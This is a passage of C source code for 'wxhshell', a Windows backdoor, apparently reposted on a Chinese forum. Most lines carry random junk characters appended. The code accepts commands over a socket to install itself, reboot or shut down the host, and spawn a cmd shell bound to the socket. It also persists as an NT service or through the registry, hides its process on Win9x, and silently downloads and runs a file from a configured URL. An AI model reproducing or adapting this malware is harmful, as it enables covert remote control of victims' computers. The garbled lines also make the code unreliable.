  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *dN N<  
  } 5QAdcEcN@O  
  else { 0Y7$d`  
B1E$v(P3M  
    switch(cmd[0]) { '0Lov]L  
  S"zk!2@C  
  // 帮助 x5oOF7#5  
  case '?': { E(_ KN[}S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K]X` sH:  
    break; yk<VlS  
  } ^ pj>9%  
  // 安装 qB:AkMd&  
  case 'i': { /?Vdqci  
    if(Install()) R\*)@[y9l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S`=n&'  
    else zDB" r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t)} \9^Uo  
    break; #: #Dz.$L  
    } 6a*83G,k  
  // 卸载 bw9 nB{C<  
  case 'r': { ]BfS270  
    if(Uninstall()) -^Xy%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UgC)7 K1  
    else oCVku:.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OqBC/p B  
    break; p;0 PxL=  
    } &iNS?1a%f=  
  // 显示 wxhshell 所在路径 gXt O*Rfqk  
  case 'p': { h$pk<<  
    char svExeFile[MAX_PATH]; ys%zlbj[  
    strcpy(svExeFile,"\n\r"); +i.u< T  
      strcat(svExeFile,ExeFile); eRs&iK2y  
        send(wsh,svExeFile,strlen(svExeFile),0); _8^0!,j  
    break; Q ]"jD#F  
    } =2%VZE7Vm  
  // 重启 $e BQH  
  case 'b': { v5T`K=qC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \,R!S/R#  
    if(Boot(REBOOT)) MU1E_"Z)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .xl.P7@JJ  
    else { m; o4Fu  
    closesocket(wsh); ($62o&I  
    ExitThread(0); *g_w I%l  
    } UW6VHA>  
    break; 26.)Ur<F  
    } &tj0M.-  
  // 关机 6aY>lkp  
  case 'd': {  q>-R3HB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rLzW`  
    if(Boot(SHUTDOWN)) FaY_ 0G;y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +AoP{ x$Ia  
    else { U; U08/y  
    closesocket(wsh); g*y/j]  
    ExitThread(0); z]=8eV\  
    } v L}T~_=3  
    break; s?c JV `  
    } 5/?P|T   
  // 获取shell @ 7W?8  
  case 's': {  qSTWb%  
    CmdShell(wsh); rslvsS:  
    closesocket(wsh); jXp. qK\"  
    ExitThread(0); c<4F4k7  
    break;  ?Vc0)  
  } Uw)=WImz[  
  // 退出 CxDcY  
  case 'x': { a9l8{ 3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8z}^jTM  
    CloseIt(wsh); AbfZ++aJ  
    break; NYB "jKMk  
    } . I==-|  
  // 离开 Vb!O8xV4;+  
  case 'q': { f*m[|0qI<X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R0wf#%97  
    closesocket(wsh); aQUGNa0+d  
    WSACleanup(); pOA!#Aj)  
    exit(1); BpH%STEN  
    break; kRlA4h1u_$  
        } q]FBl}nwl%  
  } Z\ )C_p\-  
  } %;|0  
d1]i,C~Y  
  // 提示信息 H0>yi[2f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f~ZEdq8  
} hw=GR_,  
  } 89H sPB1"t  
#jA)>z\Q^  
  return; BzN@gQo  
} IQnIaZ  
z9DcnAs  
// shell模块句柄 x2W#ROfg  
int CmdShell(SOCKET sock) $1Z6\G O  
{ ;:]\KJm}?  
STARTUPINFO si; ?S tsH  
ZeroMemory(&si,sizeof(si)); H}ZQ?uK;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |V|+lx'sc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %3o`j<  
PROCESS_INFORMATION ProcessInfo; Ef@,hX  
char cmdline[]="cmd"; Ck'aHe22'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cb$-6ZE/  
  return 0; vFQ,5n;fF  
} O0hu qF$K  
iw\%h9  
// 自身启动模式 tFM$#JN  
int StartFromService(void) 57Z-  
{ h`Tz5% n  
typedef struct L/Vx~r`P  
{ 38IMxd9v  
  DWORD ExitStatus; &<]<a_pw  
  DWORD PebBaseAddress; X`JV R"=4  
  DWORD AffinityMask; ?*u*de[,  
  DWORD BasePriority; lzhqcL"  
  ULONG UniqueProcessId; vmX"+sHz$]  
  ULONG InheritedFromUniqueProcessId; L0NA*C   
}   PROCESS_BASIC_INFORMATION; fU+Pn@'  
uQ/h'v  
PROCNTQSIP NtQueryInformationProcess; l]6% lud8_  
_}gtcyx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v }\,o%t^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *%gF2@=r8F  
w>e s  
  HANDLE             hProcess; igC_)C^i>  
  PROCESS_BASIC_INFORMATION pbi; c#cx>wq9  
k)7{Y9_No  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X}A'Cg0y  
  if(NULL == hInst ) return 0; t ^SzqB  
eu#'SXSC F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _Z Y\,_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UE"GJt`I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !3 qVB  
=#xK=pRy;  
  if (!NtQueryInformationProcess) return 0; e0HfP v_  
F0lOlS   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9`B$V##-L  
  if(!hProcess) return 0; YY5!_k  
y~ rX l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `T&jPA9eY  
z(13~38+  
  CloseHandle(hProcess); wvby?MhPY  
z rfUQO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5h{`<W  
if(hProcess==NULL) return 0; +-$Ko fnM  
h6D^G5i  
HMODULE hMod; BS 1Ap  
char procName[255]; B.dT)@Lx0  
unsigned long cbNeeded; ('[TLHP  
kHK0(bYK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); </`yd2>  
7'lZg<z{~j  
  CloseHandle(hProcess); +&=?BC}L9^  
CH#k(sy  
if(strstr(procName,"services")) return 1; // 以服务启动 f 2YLk  
bBc-^  
  return 0; // 注册表启动 s Be7"^  
} !|Q5Zi;aX7  
>QkP7Kb  
// 主模块 8V/L:h#7  
int StartWxhshell(LPSTR lpCmdLine) ~+6Vdx m  
{ *%5{'  
  SOCKET wsl; 2f~($}+*  
BOOL val=TRUE; %;xOB^H^  
  int port=0; ~@W*r5/  
  struct sockaddr_in door; Kg\R+i@#<  
K }$&:nao  
  if(wscfg.ws_autoins) Install(); 3L5r*fa  
]/X(V|t  
port=atoi(lpCmdLine); ~FU@wV^   
d^E [|w ;  
if(port<=0) port=wscfg.ws_port; 4,p;Km&  
V ~{fB~  
  WSADATA data; 2}U!:bn(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KzU lTl0  
muON> ^MbC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <@v ]H@ E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f. }c7  
  door.sin_family = AF_INET; C#0Qd%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ah69 _>N`S  
  door.sin_port = htons(port); xg@NQI@7   
),}AI/j;zY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rVnd0K  
closesocket(wsl); 8hanzwoJ:  
return 1; !D^c3d  
} `{v?6:G:Q  
BqK(DH^9N  
  if(listen(wsl,2) == INVALID_SOCKET) { !~i' -4]  
closesocket(wsl); Z~  
return 1; 4'1m4Ugg  
} /b#l^x:j  
  Wxhshell(wsl); Ta=s:trP  
  WSACleanup(); @@G6p($  
-e GL)M  
return 0; W!Gdf^Yy<  
(.Y/  
} h&&6r\4/|  
*jq7X  
// 以NT服务方式启动 "_UdBG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }n:?7  
{ >R,'5:Rw  
DWORD   status = 0; _*M42<wcO  
  DWORD   specificError = 0xfffffff; pmvT$;7I  
bBcp9C)iY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8 )*2@-Rp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )j l 8!O7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VSX@e|Nj  
  serviceStatus.dwWin32ExitCode     = 0; K6JVg$  
  serviceStatus.dwServiceSpecificExitCode = 0; ]  ]U<UJ  
  serviceStatus.dwCheckPoint       = 0; Z4K+ /<I  
  serviceStatus.dwWaitHint       = 0; =<@2#E)  
! |waK~jK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?4H#G)F  
  if (hServiceStatusHandle==0) return; Z6C=T;w  
@oP_;G  
status = GetLastError(); #65^w=Sp}  
  if (status!=NO_ERROR) ? 8aaD>OR$  
{ /wShUR{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eYUr-rN+)z  
    serviceStatus.dwCheckPoint       = 0; uE/T2BX*  
    serviceStatus.dwWaitHint       = 0; \2-@'^i  
    serviceStatus.dwWin32ExitCode     = status; N;oQ^B'  
    serviceStatus.dwServiceSpecificExitCode = specificError; xiF7}]d+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k,F"-K+M  
    return; `A$!]&[~|  
  } 6DTTV66  
%q ;jVj[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S{]7C?4`  
  serviceStatus.dwCheckPoint       = 0; 0-Y:v(|.  
  serviceStatus.dwWaitHint       = 0; +yob)%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %sBAl.!BN  
} &.13dq  
~[o 4a'  
// 处理NT服务事件,比如:启动、停止 Qp,DL@mp>8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `N//A}9  
{ cLa]D[H  
switch(fdwControl) U6ZR->:  
{ mbRq JT>@  
case SERVICE_CONTROL_STOP: gF=jf2{YX  
  serviceStatus.dwWin32ExitCode = 0; J&/lx${  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JG[o"&Sd  
  serviceStatus.dwCheckPoint   = 0; thi1kJ`L  
  serviceStatus.dwWaitHint     = 0; _mvxsG  
  { v44}%$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r[(xj n  
  } Lf([dE1  
  return;  kqYa*| l  
case SERVICE_CONTROL_PAUSE: c !ZM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yq-=],h  
  break; 5RH2"*8T  
case SERVICE_CONTROL_CONTINUE: k#Of]mXXz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s`j~-P  
  break; 'TC/vnM  
case SERVICE_CONTROL_INTERROGATE: .MW@;  
  break; &;,,H< p  
}; 1(Y7mM8\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HmfG$Z  
} 1(zsOeX  
v8gdU7Ll,  
// 标准应用程序主函数 (6CN/A{qe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M2x["  
{ #*$P'r  
(iJ1 ;x  
// 获取操作系统版本 5J)=}e  
OsIsNt=GetOsVer(); (BxJryXm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +MbIB&fRCB  
'bGX-C  
  // 从命令行安装 > oA? 6x  
  if(strpbrk(lpCmdLine,"iI")) Install(); &C im!I  
"\Egs)\  
  // 下载执行文件 )k&a}u5y  
if(wscfg.ws_downexe) { \~d";~Y`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V@7KsB  
  WinExec(wscfg.ws_filenam,SW_HIDE); +uWDP .  
} "'8KV\/D  
.@-9'<K?~  
if(!OsIsNt) { ML-)I&>tT  
// 如果时win9x,隐藏进程并且设置为注册表启动 |4mpohX  
HideProc(); Cz4)Yz  
StartWxhshell(lpCmdLine); (Rk_-9_E.  
} scuHmY0  
else , P'P^0qJ  
  if(StartFromService()) >&g}7d%  
  // 以服务方式启动 '}g*!jL  
  StartServiceCtrlDispatcher(DispatchTable); +X`V|E,no  
else I)q,kP@yY  
  // 普通方式启动 _LAS~x7,  
  StartWxhshell(lpCmdLine); HkV1sT  
IX: 25CEI2  
return 0; 2)#K+O3c  
}
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只看该作者 1 发表于: 2006-10-10
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